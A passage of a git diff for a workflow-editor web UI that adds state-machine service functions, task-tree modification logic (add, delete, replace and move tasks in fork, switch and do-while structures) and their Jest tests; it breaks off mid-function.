}, + }, + errorFetchingWorkflow: { + on: { + [DefinitionMachineEventTypes.MESSAGE_RESET_EVT]: { + actions: ["resetMessage"], + target: "backToList", + }, + }, + }, + }, + }, + { + actions: actions as any, + services: { + saveMachine, + fetchSecretsEndEnvironmentsList, + persistCopyInLocalStorage, + removeCopyFromStorage, + refetchCurrentWorkflowVersionsService, + fetchInputSchema, + fetchForImportedTemplateImportSummary, + }, + guards: guards as any, + }, +); diff --git a/ui-next/src/pages/definition/state/services.ts b/ui-next/src/pages/definition/state/services.ts new file mode 100644 index 0000000..a2c3164 --- /dev/null +++ b/ui-next/src/pages/definition/state/services.ts @@ -0,0 +1,158 @@ +import fastDeepEqual from "fast-deep-equal"; +import { DefinitionMachineContext } from "pages/definition/state/types"; +import { + addLocalCopyTime, + extractKeyFromContext, +} from "pages/runWorkflow/runWorkflowUtils"; +import { fetchContextNonHook, fetchWithContext } from "plugins/fetch"; +import { queryClient } from "queryClient"; +import { WorkflowDef } from "types/WorkflowDef"; +import { + fetchCloudTemplatesPreferCached, + fetchWorkflowWithDependencies, + ImportSummary, +} from "utils/cloudTemplates"; +import { FEATURES, featureFlags } from "utils/flags"; +import { logger } from "utils/logger"; +import { getErrors } from "utils/utils"; +import { getEnvVariables } from "../commonService"; + +export { fetchCloudTemplatesPreferCached }; + +const fetchContext = fetchContextNonHook(); + +export const fetchForImportedTemplateImportSummary = async ( + context: DefinitionMachineContext, +): Promise => { + const { successfullyImportedWorkflowId: showImportSuccessfulDialog } = + context; + if (!showImportSuccessfulDialog) { + return null; + } + const templates = await fetchCloudTemplatesPreferCached(); + const importedTemplate = templates.cloudTemplates.find( + (t) => t.id === showImportSuccessfulDialog, + ); + if (importedTemplate != null) { + const importSummary = await fetchWorkflowWithDependencies(importedTemplate); + return importSummary; + } + return null; +}; + +export const persistCopyInLocalStorage = ( + context: DefinitionMachineContext, +): Promise => { + const { workflowChanges, currentWf } = context; + const isEqual = fastDeepEqual(currentWf, workflowChanges); + + if (!isEqual && context.workflowName != null) { + const wfKey = extractKeyFromContext({ + workflowName: context.workflowName, + currentVersion: context.currentVersion + ? Number(context.currentVersion) + : Number(context?.currentWf?.version), + isNewWorkflow: context.isNewWorkflow, + }); + + localStorage.setItem(wfKey, JSON.stringify(workflowChanges)); + addLocalCopyTime(wfKey); + + return Promise.resolve("Saved to local storage"); + } + + return Promise.resolve("Don't have any changes"); +}; + +export const fetchSecrets = async ({ + authHeaders: headers, +}: DefinitionMachineContext) => { + // OSS ships with `window.conductor.SECRETS: false` (see public/context.js). + // Orkes / conductor-ui enables SECRETS so workflow validation can load names. + if (!featureFlags.isEnabled(FEATURES.SECRETS)) { + return []; + } + const url = `/secrets-v2`; + try { + const result = await queryClient.fetchQuery([fetchContext.stack, url], () => + fetchWithContext(url, fetchContext, { headers }), + ); + return result; + } catch { + return {}; + } +}; + +export const fetchInputSchema = async ({ + authHeaders: headers, + currentWf, +}: DefinitionMachineContext) => { + if (!currentWf?.inputSchema?.name || !currentWf?.inputSchema?.version) { + logger.warn("Missing input schema name or version in current workflow."); + return {}; + } + const schemaName = currentWf?.inputSchema?.name; + const schemaVersion = currentWf?.inputSchema?.version; + const url = `/schema/${schemaName}/${schemaVersion}`; + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, url], + () => fetchWithContext(url, fetchContext, { headers }), + ); + const properties = response?.data?.properties; + if (!properties || typeof properties !== "object") { + logger.warn("Schema response did not contain valid properties", response); + return {}; + } + return { schema: response?.data }; + } catch (error: any) { + logger.error("Failed to fetch input schema:", { + error, + schemaName, + schemaVersion, + }); + const errorMessage = (await getErrors(error))?.message; + + if (errorMessage) { + return Promise.reject({ message: errorMessage }); + } + + return {}; + } +}; + +export const fetchSecretsEndEnvironmentsList = async ( + context: DefinitionMachineContext, +) => { + const secrets = await fetchSecrets(context); + const envs = await getEnvVariables(context); + + return { + secrets, + envs: envs, + }; +}; + +export const refetchCurrentWorkflowVersionsService = async ({ + authHeaders: headers, + workflowName, +}: DefinitionMachineContext) => { + if (!workflowName) { + return {}; + } + + const url = `/metadata/workflow?includeShared=false&name=${encodeURIComponent( + workflowName, + )}`; + + try { + const result: WorkflowDef[] = await queryClient.fetchQuery( + [fetchContext.stack, url], + () => fetchWithContext(url, fetchContext, { headers }), + ); + const versions = result?.map((item) => item?.version) ?? []; + return { versions }; + } catch { + return {}; + } +}; diff --git a/ui-next/src/pages/definition/state/taskModifier/constants.ts b/ui-next/src/pages/definition/state/taskModifier/constants.ts new file mode 100644 index 0000000..43a8708 --- /dev/null +++ b/ui-next/src/pages/definition/state/taskModifier/constants.ts @@ -0,0 +1,8 @@ +export const ADD_TASK_ABOVE = "ADD_TASK_ABOVE"; +export const DELETE_TASK = "DELETE_TASK"; +export const ADD_NEW_SWITCH_PATH = "ADD_NEW_SWITCH"; +export const ADD_TASK_BELOW = "ADD_TASK_BELOW"; +export const ADD_TASK = "ADD_TASK"; +export const REPLACE_TASK = "REPLACE_TASK"; +export const ADD_TASK_IN_DO_WHILE = "ADD_TASK_IN_DO_WHILE"; +export const REMOVE_BRANCH = "REMOVE_BRANCH"; diff --git a/ui-next/src/pages/definition/state/taskModifier/index.ts b/ui-next/src/pages/definition/state/taskModifier/index.ts new file mode 100644 index 0000000..ea0b321 --- /dev/null +++ b/ui-next/src/pages/definition/state/taskModifier/index.ts @@ -0,0 +1,2 @@ +export * from "./constants"; +export * from "./taskModifier"; diff --git a/ui-next/src/pages/definition/state/taskModifier/taskModifier.test.js b/ui-next/src/pages/definition/state/taskModifier/taskModifier.test.js new file mode 100644 index 0000000..a1c7294 --- /dev/null +++ b/ui-next/src/pages/definition/state/taskModifier/taskModifier.test.js @@ -0,0 +1,581 @@ +import { + populationMinMax, + simpleDiagram, + simpleLoopSample, + switchExample, +} from "testData/diagramTests"; +import { + ADD_NEW_SWITCH_PATH, + ADD_TASK, + ADD_TASK_ABOVE, + DELETE_TASK, + REPLACE_TASK, +} from "./constants"; +import { + applyAddTask, + applyOperationArrayOnTasks, + findTaskModificationPath, + moveTask, + updateTaskReferenceName, +} from "./taskModifier"; + +describe("Task modifier", () => { + it("should find the cooresponding task array for a given task", () => { + const sampleCrumbs = [ + { parent: null, ref: "__start", refIdx: 0 }, + { parent: null, ref: "my_fork_join_ref", refIdx: 1 }, + { parent: "my_fork_join_ref", ref: "loop_2", refIdx: 0 }, + { parent: "loop_2", ref: "loop_2_task_iter", refIdx: 0 }, + { parent: "loop_2", ref: "loop_2_sv", refIdx: 0 }, + ]; + expect(findTaskModificationPath(sampleCrumbs, "loop_2_sv")).toEqual([ + { parent: null, ref: "my_fork_join_ref", refIdx: 1 }, + { parent: "my_fork_join_ref", ref: "loop_2", refIdx: 0 }, + { parent: "loop_2", ref: "loop_2_sv", refIdx: 0 }, + ]); + }); + + it("Should add an item to tasks array", () => { + const forkTaskIdxInTasks = 1; + const crumbs = [ + { parent: null, ref: "my_fork_join_ref", refIdx: forkTaskIdxInTasks }, + ]; + const taskToAdd = { + name: "sample_task_name_1", + taskReferenceName: "sample_task_name_a_ref", + type: "SIMPLE", + }; + + const modifiedTasks = applyOperationArrayOnTasks( + crumbs, + simpleLoopSample.tasks, + { type: ADD_TASK_ABOVE, payload: taskToAdd }, + ); + + expect(modifiedTasks).toEqual(expect.arrayContaining([])); + }); + + it("Should Add an item to a nested task within fork and loop", () => { + const forkTaskIdxWhereLoop2Is = 1; + const forkTaskIdxInTasks = 1; + const loopTaskIdxWithinForkTasks = 0; + const loop2InnerTaskIndexToApplyOperationOn = 0; + const taskToAdd = { + name: "sample_task_name_0", + taskReferenceName: "sample_task_name_0_ref", + type: "SIMPLE", + }; + const wfTasks = applyOperationArrayOnTasks( + [ + { parent: null, ref: "my_fork_join_ref", refIdx: forkTaskIdxInTasks }, + { + parent: "my_fork_join_ref", + ref: "loop_2", + refIdx: loopTaskIdxWithinForkTasks, + }, + { + parent: "loop_2", + ref: "loop_2_sv", + refIdx: loop2InnerTaskIndexToApplyOperationOn, + }, + ], + simpleLoopSample.tasks, + { type: ADD_TASK_ABOVE, payload: taskToAdd }, + ); + + const forkJoinTask = wfTasks[forkTaskIdxInTasks]; + const targetForkTasks = forkJoinTask.forkTasks[forkTaskIdxWhereLoop2Is]; + const loop2Task = targetForkTasks[loopTaskIdxWithinForkTasks]; + const loopingTasks = loop2Task.loopOver; + + expect(loopingTasks).toEqual(expect.arrayContaining([taskToAdd])); + }); + it("Should be able to delete a SIMPLE task", () => { + const simpleTaskCrumbsPath = [ + { + parent: null, + ref: "image_convert_resize_ref", + refIdx: 0, + }, + ]; + const wfTasks = applyOperationArrayOnTasks( + simpleTaskCrumbsPath, + simpleDiagram.tasks, + { type: DELETE_TASK }, + ); + expect( + wfTasks.map(({ taskReferenceName }) => taskReferenceName), + ).not.toEqual(expect.arrayContaining(["image_convert_resize_ref"])); + }); + + it("Should be able to delete a Fork Task. Deleting FORK should also delete JOIN", () => { + const forkTaskToDeleteModificationPath = [ + { + parent: null, + ref: "fork_ref", + refIdx: 2, + }, + ]; + const wfTasks = applyOperationArrayOnTasks( + forkTaskToDeleteModificationPath, + populationMinMax.tasks, + { type: DELETE_TASK }, + ); + expect(wfTasks.map(({ taskReferenceName }) => taskReferenceName)).toEqual([ + "get_population_data_ref", + ]); + }); + it("Should be able to add a SWITCH branch if task is type SWITCH", () => { + const taskContaingSwitch = [ + { + parent: null, + ref: "switch_task", + refIdx: 1, + }, + ]; + const wfTasks = applyOperationArrayOnTasks( + taskContaingSwitch, + switchExample.tasks, + { + type: ADD_NEW_SWITCH_PATH, + payload: { + branchName: "hasName", + }, + }, + ); + const [resultTask] = wfTasks.filter( + ({ taskReferenceName }) => taskReferenceName === "switch_task", + ); + expect(Object.keys(resultTask.decisionCases)).toEqual( + expect.arrayContaining(["hasName"]), + ); + // console.log(JSON.stringify(wfTasks, null, 2)); + }); + it("Should replace the task in the tree by the task sent in payload", () => { + const forkTaskToDeleteModificationPath = [ + { + parent: null, + ref: "get_population_data_ref", + refIdx: 0, + }, + ]; + + const wfTasks = applyOperationArrayOnTasks( + forkTaskToDeleteModificationPath, + populationMinMax.tasks, + { + type: REPLACE_TASK, + payload: { + name: "get_population_data", + taskReferenceName: "get_population_different_ref", + inputParameters: { + http_request: { + uri: "https://datausa.io/api/data?drilldowns=State&measures=Population&year=latest", + method: "GET", + }, + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + }, + ); + expect(wfTasks[0].taskReferenceName).toBe("get_population_different_ref"); + }); + it("Should prepend the task to the default branch in switch when adding a task", () => { + const taskContaingSwitch = [ + { + parent: null, + ref: "switch_task", + refIdx: 1, + onDecisionBranch: "defaultCase", + }, + ]; + const wfTasks = applyOperationArrayOnTasks( + taskContaingSwitch, + switchExample.tasks, + { + type: ADD_TASK, + payload: { + name: "prepended", + taskReferenceName: "prepended_task", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + }, + ); + const [resultTask] = wfTasks.filter( + ({ taskReferenceName }) => taskReferenceName === "switch_task", + ); + expect(resultTask.defaultCase.length).toBe(2); + expect( + resultTask.defaultCase.map(({ taskReferenceName }) => taskReferenceName), + ).toEqual(["prepended_task", "task_8_default"]); + }); + + it("Should be able to add the task to defaulCase even if defaultCase is empty", () => { + const taskContaingSwitch = [ + { + parent: null, + ref: "switch_task", + refIdx: 1, + onDecisionBranch: "defaultCase", + }, + ]; + const modifiedExampleEmptyDefaultCase = { + ...switchExample, + tasks: switchExample.tasks.map((task) => + task.type === "SWITCH" ? { ...task, defaultCase: [] } : task, + ), + }; + const wfTasks = applyOperationArrayOnTasks( + taskContaingSwitch, + modifiedExampleEmptyDefaultCase.tasks, + { + type: ADD_TASK, + payload: { + name: "prepended", + taskReferenceName: "prepended_task", + inputParameters: {}, + type: "SIMPLE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + }, + ); + const [resultTask] = wfTasks.filter( + ({ taskReferenceName }) => taskReferenceName === "switch_task", + ); + expect(resultTask.defaultCase.length).toBe(1); + expect( + resultTask.defaultCase.map(({ taskReferenceName }) => taskReferenceName), + ).toEqual(["prepended_task"]); + }); + it("Should add a dynamic fork task into an empty defaultCase of switch task", () => { + const taskArray = [ + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: {}, + defaultCase: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + }, + ]; + const idx = 0; + const payload = [ + { + name: "fork_join_dynamic", + taskReferenceName: "fork_join_dynamic_ref", + inputParameters: { + dynamicTasks: "", + dynamicTasksInput: "", + }, + type: "FORK_JOIN_DYNAMIC", + dynamicForkTasksParam: "dynamicTasks", + dynamicForkTasksInputParamName: "dynamicTasksInput", + startDelay: 0, + optional: false, + asyncComplete: false, + }, + { + name: "join", + taskReferenceName: "join_ref", + inputParameters: {}, + type: "JOIN", + joinOn: [], + optional: false, + asyncComplete: false, + }, + ]; + const crumbProps = { + parent: null, + ref: "switch_ref", + type: "SWITCH", + onDecisionBranch: "defaultCase", + }; + const result = applyAddTask(taskArray, idx, payload, crumbProps); + const expectedResult = [ + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: {}, + defaultCase: [ + { + name: "fork_join_dynamic", + taskReferenceName: "fork_join_dynamic_ref", + inputParameters: { + dynamicTasks: "", + dynamicTasksInput: "", + }, + type: "FORK_JOIN_DYNAMIC", + dynamicForkTasksParam: "dynamicTasks", + dynamicForkTasksInputParamName: "dynamicTasksInput", + startDelay: 0, + optional: false, + asyncComplete: false, + }, + { + name: "join", + taskReferenceName: "join_ref", + inputParameters: {}, + type: "JOIN", + joinOn: [], + optional: false, + asyncComplete: false, + }, + ], + evaluatorType: "value-param", + expression: "switchCaseValue", + }, + ]; + expect(result).toEqual(expectedResult); + }); +}); + +describe("moveTask", () => { + it("Should be able to drag a task inside an empty doWhile", () => { + const workflowChanges = { + name: "NewWorkflow_2qs7k", + description: "", + version: 1, + tasks: [ + { + name: "simple", + taskReferenceName: "simple_ref", + type: "SIMPLE", + }, + { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: {}, + type: "DO_WHILE", + startDelay: 0, + optional: false, + asyncComplete: false, + loopCondition: "", + evaluatorType: "value-param", + loopOver: [], + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "najeeb.thangal@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + }; + const sourceTask = { + name: "simple", + taskReferenceName: "simple_ref", + type: "SIMPLE", + }; + const sourceTaskCrumbs = [ + { + parent: null, + ref: "simple_ref", + refIdx: 0, + type: "SIMPLE", + }, + ]; + const targetTask = { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: {}, + type: "DO_WHILE", + startDelay: 0, + optional: false, + asyncComplete: false, + loopCondition: "", + evaluatorType: "value-param", + loopOver: [], + }; + const targetLocationCrumbs = [ + { + parent: null, + ref: "simple_ref", + refIdx: 0, + type: "SIMPLE", + }, + { + parent: null, + ref: "do_while_ref", + refIdx: 1, + type: "DO_WHILE", + }, + ]; + const position = "ADD_TASK_IN_DO_WHILE"; + const result = moveTask({ + workflow: workflowChanges, + source: { task: sourceTask, crumbs: sourceTaskCrumbs }, + target: { crumbs: targetLocationCrumbs, task: targetTask }, + position, + }); + const expectedResult = { + name: "NewWorkflow_2qs7k", + description: "", + version: 1, + tasks: [ + { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: {}, + type: "DO_WHILE", + startDelay: 0, + optional: false, + asyncComplete: false, + loopCondition: "", + evaluatorType: "value-param", + loopOver: [ + { + name: "simple", + taskReferenceName: "simple_ref", + type: "SIMPLE", + }, + ], + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "najeeb.thangal@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + }; + expect(result).toEqual(expectedResult); + }); +}); + +describe("updateTaskReferenceName", () => { + it("should update joinOn references in JOIN tasks", () => { + const tasks = [ + { + name: "fork", + taskReferenceName: "fork_ref", + inputParameters: {}, + type: "FORK_JOIN", + defaultCase: [], + forkTasks: [ + [ + { + name: "http_poll", + taskReferenceName: "http_poll_ref", + type: "HTTP_POLL", + inputParameters: { + http_request: { + uri: "https://orkes-api-tester.orkesconductor.com/api", + method: "GET", + accept: "application/json", + contentType: "application/json", + terminationCondition: + "(function(){ return $.output.response.body.randomInt > 10;})();", + pollingInterval: "60", + pollingStrategy: "FIXED", + encode: true, + }, + }, + }, + ], + [ + { + name: "event", + taskReferenceName: "event_x4f_ref", + type: "EVENT", + sink: "sqs:internal_event_name", + inputParameters: {}, + }, + ], + ], + }, + { + name: "join", + taskReferenceName: "join_ref", + inputParameters: {}, + type: "JOIN", + joinOn: ["event_x4f_ref", "http_poll_ref"], + optional: false, + asyncComplete: false, + }, + ]; + + const updated = updateTaskReferenceName( + tasks, + "http_poll_ref", + "http_poll_ref_updated", + ); + + expect(updated[1].joinOn).toContain("http_poll_ref_updated"); + expect(updated[1].joinOn).not.toContain("http_poll_ref"); + expect(updated[0]).toEqual(tasks[0]); + }); + + it("should not update joinOn if oldRef is not present", () => { + const tasks = [ + { + name: "join", + taskReferenceName: "join_ref", + type: "JOIN", + joinOn: ["ref2"], + inputParameters: {}, + }, + ]; + + const updated = updateTaskReferenceName(tasks, "ref1", "ref1_new"); + expect(updated[0].joinOn).toEqual(["ref2"]); + }); + + it("should not modify non-JOIN tasks", () => { + const tasks = [ + { + name: "simple", + taskReferenceName: "ref1", + type: "SIMPLE", + inputParameters: {}, + }, + ]; + + const updated = updateTaskReferenceName(tasks, "ref1", "ref1_new"); + expect(updated[0]).toEqual(tasks[0]); + }); + + it("should handle empty tasks array", () => { + expect(updateTaskReferenceName([], "ref1", "ref1_new")).toEqual([]); + }); +}); diff --git a/ui-next/src/pages/definition/state/taskModifier/taskModifier.ts b/ui-next/src/pages/definition/state/taskModifier/taskModifier.ts new file mode 100644 index 0000000..b909030 --- /dev/null +++ b/ui-next/src/pages/definition/state/taskModifier/taskModifier.ts @@ -0,0 +1,712 @@ +import { + crumbsToTask, + removeTaskReferenceFromCrumbs, + START_TASK_FAKE_TASK_REFERENCE_NAME, +} from "components/features/flow/nodes/mapper"; +import _prop from "lodash/fp/prop"; +import _head from "lodash/head"; +import _isEmpty from "lodash/isEmpty"; +import _isNil from "lodash/isNil"; +import _last from "lodash/last"; +import _nth from "lodash/nth"; +import _omit from "lodash/omit"; +import _reverse from "lodash/reverse"; +import _tail from "lodash/tail"; +import { NodeData, PortData } from "reaflow"; +import { Crumb, TaskDef, TaskType, WorkflowDef } from "types"; +import { adjust, insert, logger, remove } from "utils"; +import { + ADD_NEW_SWITCH_PATH, + ADD_TASK, + ADD_TASK_ABOVE, + ADD_TASK_BELOW, + ADD_TASK_IN_DO_WHILE, + DELETE_TASK, + REMOVE_BRANCH, + REPLACE_TASK, +} from "./constants"; + +export const findTaskModificationPath = ( + crumbs: Crumb[], + taskReferenceName: string, +) => { + if (_isEmpty(crumbs)) return []; + const taskRefMap: Record = crumbs.reduce( + (acc, cur) => ({ ...acc, [cur.ref]: cur }), + {}, + ); + let currentTask: Crumb | undefined = taskRefMap[taskReferenceName]; + const taskPath = [currentTask]; + + while (!_isNil(currentTask?.parent)) { + currentTask = taskRefMap[currentTask.parent]; + taskPath.push(currentTask); + } + return _reverse(taskPath); +}; + +const applyDeleteOperation = (taskArray: TaskDef[], idx: number) => { + const task = taskArray[idx]; + const taskType = task.type; + switch (taskType) { + case TaskType.FORK_JOIN_DYNAMIC: + case TaskType.FORK_JOIN: { + return remove(idx, 2, taskArray); // Removes the FORK_JOIN and the JOIN task + } + case TaskType.JOIN: { + const previousIndex = idx - 1; + if (previousIndex >= 0) { + // If the previous task is a FORK_JOIN remove it as well + const previousTask = _nth(taskArray, previousIndex); + if ( + previousTask?.type === TaskType.FORK_JOIN || + previousTask?.type === TaskType.FORK_JOIN_DYNAMIC + ) + return remove(previousIndex, 2, taskArray); + } + return remove(idx, 1, taskArray); //If not just remove the task + } + default: { + return remove(idx, 1, taskArray); + } + } +}; + +const applyAddDecisionCase = ( + taskArray: TaskDef[], + idx: number, + { branchName }: { branchName?: string | number }, +) => { + const task = taskArray[idx]; + const { type, decisionCases } = task; + if (type === TaskType.SWITCH || type === TaskType.DECISION) { + return adjust( + idx, + () => ({ + ...task, + decisionCases: { ...decisionCases, [branchName!]: [] }, + }), + taskArray, + ); + } else if (type === TaskType.FORK_JOIN) { + const result = adjust( + idx, + () => ({ + ...task, + forkTasks: (task?.forkTasks ?? []).concat([[]]), + }), + taskArray, + ); + return result; + } + + logger.warn("Got wrong task as reference type is ", type); + + return taskArray; +}; + +// TODO Add unit test for this +const applyAddTaskInDoWhile = ( + taskArray: TaskDef[], + idx: number, + taskToAdd: TaskDef, +) => { + const task = taskArray[idx]; + const { type, loopOver = [] } = task; + if (type === TaskType.DO_WHILE) { + return adjust( + idx, + () => ({ + ...task, + loopOver: loopOver.concat(taskToAdd), + }), + taskArray, + ); + } + logger.warn("Got wrong task as reference type expected DO_WHILE ", type); + + return taskArray; +}; + +export const applyAddTask = ( + taskArray: TaskDef[], + idx: number, + payload: Record | TaskDef[], + crumbProps: { onDecisionBranch?: string; forkIdx?: number }, +) => { + const task = taskArray[idx]; + + if (task.type === TaskType.SWITCH || task.type === TaskType.DECISION) { + const { onDecisionBranch } = crumbProps; + return adjust( + idx, + () => + ({ + ...task!, + ...(onDecisionBranch === "defaultCase" + ? { + defaultCase: Array.isArray(payload) + ? [...payload, ...(task?.defaultCase || [])] + : [payload, ...(task?.defaultCase || [])], + } + : { + decisionCases: { + ...task.decisionCases, + [onDecisionBranch!]: Array.isArray(payload) + ? [ + ...payload, + ...(_prop(onDecisionBranch!, task?.decisionCases) || + []), + ] + : [ + payload, + ...(_prop(onDecisionBranch!, task?.decisionCases) || + []), + ], + }, + }), + }) as TaskDef, + taskArray, + ); + } else if (task.type === TaskType.FORK_JOIN) { + const { forkIdx } = crumbProps; + const tasksToAppend = Array.isArray(payload) ? [...payload] : [payload]; + + const forkTasks = adjust( + forkIdx!, + () => [...tasksToAppend, ...(_nth(task?.forkTasks, forkIdx) || [])], + task?.forkTasks || [], + ); + + return adjust( + idx, + () => ({ + ...task, + forkTasks, + }), + taskArray, + ); + } + + logger.warn("Got wrong task as reference type is ", task.type); + return []; +}; + +const applyRemoveBranch = ( + taskArray: TaskDef[], + idx: number, + { branchName }: { branchName?: string | number }, +) => { + const task = taskArray[idx]; + const { type, decisionCases } = task; + if (type === TaskType.SWITCH || type === TaskType.DECISION) { + const taskModification = + branchName === "defaultCase" + ? { defaultCase: [] } + : { + decisionCases: _omit(decisionCases, branchName!), + }; + + return adjust( + idx, + () => ({ + ...task, + ...taskModification, + }), + taskArray, + ); + } else if (type === TaskType.FORK_JOIN) { + const tasksWithoutForkBranch = adjust( + idx, + () => ({ + ...task, + forkTasks: remove( + branchName! as number, + 1, + task.forkTasks as TaskDef[][], + ), + }), + taskArray, + ); + + const nextTaskIndex = idx + 1; + const maybeNextTask = _nth(tasksWithoutForkBranch, nextTaskIndex) as + | TaskDef + | undefined; + + // Remove join on items in JOIN task + if (maybeNextTask != null && maybeNextTask?.type === TaskType.JOIN) { + const maybeLastTaskInBranch = _last( + _nth(task.forkTasks, branchName as number), + ); + + const originalJoinOn = maybeNextTask?.joinOn || []; + const joinOn = + maybeLastTaskInBranch == null + ? originalJoinOn + : originalJoinOn.filter( + (joinTask) => + joinTask !== maybeLastTaskInBranch?.taskReferenceName, + ); + + return adjust( + nextTaskIndex, + () => ({ + ...maybeNextTask, + joinOn, + }), + tasksWithoutForkBranch, + ); + } + + return tasksWithoutForkBranch; + } + + logger.warn("Got wrong task as reference type is ", type); + + return taskArray; +}; + +const applySingleOperationOnTaskArray = ( + taskArray: TaskDef[], + operation: { + type: string; + parameters: { + idx: number; + payload: { branchName?: string | number; crumb?: Crumb }; + }; + }, +): TaskDef[] => { + const { + type, + parameters: { idx, payload, ...otherCrumbProps }, + } = operation; + + switch (type) { + case ADD_TASK_ABOVE: { + return insert(idx, payload as TaskDef, taskArray); + } + case ADD_TASK_BELOW: { + const taskIdxInc = idx + 1; + return insert(taskIdxInc, payload as TaskDef, taskArray); + } + case DELETE_TASK: { + return applyDeleteOperation(taskArray, idx); + } + case ADD_NEW_SWITCH_PATH: { + return applyAddDecisionCase(taskArray, idx, payload); + } + case ADD_TASK: { + return applyAddTask(taskArray, idx, payload, otherCrumbProps); + } + case REPLACE_TASK: { + return adjust(idx, () => payload as TaskDef, taskArray); + } + case ADD_TASK_IN_DO_WHILE: { + return applyAddTaskInDoWhile(taskArray, idx, payload as TaskDef); + } + case REMOVE_BRANCH: { + return applyRemoveBranch(taskArray, idx, payload); + } + default: { + return taskArray; + } + } +}; + +type OperationType = { + payload: any; + type: string; +}; + +export const applyOperationArrayOnTasks = ( + fwCrumb: Crumb[], + tasks: TaskDef[], + operation: OperationType = { payload: {}, type: "" }, +): TaskDef[] => { + if (_isEmpty(fwCrumb) || _isNil(_head(fwCrumb))) { + return applySingleOperationOnTaskArray(tasks, { + ...operation, + parameters: { + idx: 0, + payload: operation.payload || {}, + }, + }); + } + const { refIdx, ...otherCrumbProps } = _head(fwCrumb) as Crumb; + const restCrumbs = _tail(fwCrumb); + + const isLastCrumb = restCrumbs.length === 0; + + if (isLastCrumb) { + return applySingleOperationOnTaskArray(tasks, { + ...operation, + + parameters: { + payload: operation.payload || {}, + idx: refIdx, + ...otherCrumbProps, + }, + }); + } + + const currentTask = tasks[refIdx]; + if (currentTask.type === TaskType.FORK_JOIN) { + const { forkTasks = [] } = currentTask; + const joinTask = tasks[refIdx + 1]; + const { ref: targetInnerForkTaskRef, refIdx: targetInnerForkTaskRefIdx } = + _head(restCrumbs) as Crumb; + const innerForkTaskReference = forkTasks.findIndex((innerTasks) => { + return ( + innerTasks[targetInnerForkTaskRefIdx]?.taskReferenceName === + targetInnerForkTaskRef + ); + }); + if (innerForkTaskReference === -1) { + throw Error("Task not found inconsistent state"); + } + // Cleanup join task joinOn if the task is deleted + if ( + joinTask?.type === TaskType.JOIN && + operation.type === DELETE_TASK && + joinTask.joinOn.includes(targetInnerForkTaskRef) + ) { + joinTask.joinOn = joinTask.joinOn.filter( + (joinOn) => joinOn !== targetInnerForkTaskRef, + ); + } + const updatedForkTasks = applyOperationArrayOnTasks( + restCrumbs, + forkTasks[innerForkTaskReference], + operation, + ); + return adjust( + refIdx, + () => ({ + ...currentTask, + forkTasks: adjust( + innerForkTaskReference, + () => updatedForkTasks, + forkTasks, + ), + }), + tasks, + ); + } else if (currentTask.type === TaskType.DO_WHILE) { + const { loopOver = [] } = currentTask; + const updatedLoopOver = applyOperationArrayOnTasks( + restCrumbs, + loopOver, + operation, + ); + + return adjust( + refIdx, + () => ({ ...currentTask, loopOver: updatedLoopOver }), + tasks, + ); + } else if ( + currentTask.type === TaskType.SWITCH || + currentTask.type === TaskType.DECISION + ) { + const { decisionBranch } = _head(restCrumbs) as Crumb; + const { decisionCases = {}, defaultCase } = currentTask; + const isDefault = decisionBranch === "defaultCase"; + + const decisionCaseTasksAfected = isDefault + ? defaultCase + : decisionCases[decisionBranch!]; + + const updatedDecisionCase = applyOperationArrayOnTasks( + restCrumbs, + decisionCaseTasksAfected || [], + operation, + ); + const updated = isDefault + ? { defaultCase: updatedDecisionCase } + : { + decisionCases: { + ...decisionCases, + [decisionBranch as string]: updatedDecisionCase, + }, + }; + + return adjust( + refIdx, + () => ({ + ...currentTask, + ...updated, + }), + tasks, + ); + } + + return tasks; +}; + +export function updateTaskReferenceName( + tasks: TaskDef[], + oldRef: string, + newRef: string, +): TaskDef[] { + return tasks.map((task) => + task.type === TaskType.JOIN && Array.isArray(task.joinOn) + ? { + ...task, + joinOn: task.joinOn.map((ref) => (ref === oldRef ? newRef : ref)), + } + : task, + ); +} + +type PerformOperationArgs = { + workflow?: Partial; + crumbs: Crumb[]; + taskDef: TaskDef; + operation: OperationType; +}; + +export const performOperation = ({ + workflow, + crumbs, + taskDef: { taskReferenceName }, + operation, +}: PerformOperationArgs) => { + if (!workflow) { + throw new Error("No context workflow provided"); + } + + return { + ...workflow, + tasks: applyOperationArrayOnTasks( + findTaskModificationPath(crumbs, taskReferenceName), + workflow?.tasks || [], + operation, + ), + }; +}; +type TaskAndCrumbs = { task: TaskDef; crumbs: Crumb[] }; + +type MoveTaskArgs = { + workflow?: Partial; + source: TaskAndCrumbs; + target: TaskAndCrumbs; + position: string; +}; + +export const moveTask = ({ + workflow, + source: { task: originTaskToMove, crumbs: originCrumbsToMove }, + target: { task: belowDestinationTask, crumbs: belowDestinationTaskCrumbs }, + position, +}: MoveTaskArgs) => { + if (!workflow) { + throw new Error("No context workflow provided"); + } + + const PAYLOAD_MODIFICATION_OPERATION = + belowDestinationTask.type === TaskType.TERMINAL && + belowDestinationTask.taskReferenceName === + START_TASK_FAKE_TASK_REFERENCE_NAME + ? ADD_TASK_ABOVE + : position; + + if ( + [TaskType.FORK_JOIN, 